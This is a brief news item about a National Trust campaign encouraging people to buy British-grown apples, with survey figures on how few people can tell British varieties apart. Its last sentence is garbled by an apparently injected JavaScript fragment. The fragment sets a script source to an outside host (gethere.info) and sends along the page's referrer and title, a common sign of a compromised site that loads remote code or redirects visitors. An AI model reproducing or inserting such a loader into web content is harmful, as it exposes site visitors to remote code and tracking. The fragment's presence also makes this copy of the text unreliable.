National Trust campaigns to boost British apple sales to save orchards

The National Trust is encouraging apple lovers to make the most of the unique British flavours this autumn and help save UK orchards.

Research shows that more than half of us (53 per cent) crunch into an apple each week, and almost a quarter (24 per cent) of Britons who eat apples enjoy eating apples because you can buy home grown varieties.

Some 41 per cent of people who eat apples find it difficult to pick out British grown apples.While British grown varieties such as the Bramley, Cox’s Orange Pippin and Egremont Russet are recognised by some apple eaters, 61 per cent of adults wrongly guessed that the Granny Smith is grown on UK soil when it originates from Australia. Similarly, almost a quarter of people (23 per cent) thought that the Pink Lady is grown in the UK.

As part of its Food Glorious Food campaign the trust has has launched a guide to encourage people to buy British grown apples and help ensure the UK’s apple heritage is preserved.

Read Simon Meadows’ full story on the Optimists Website, HEREs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;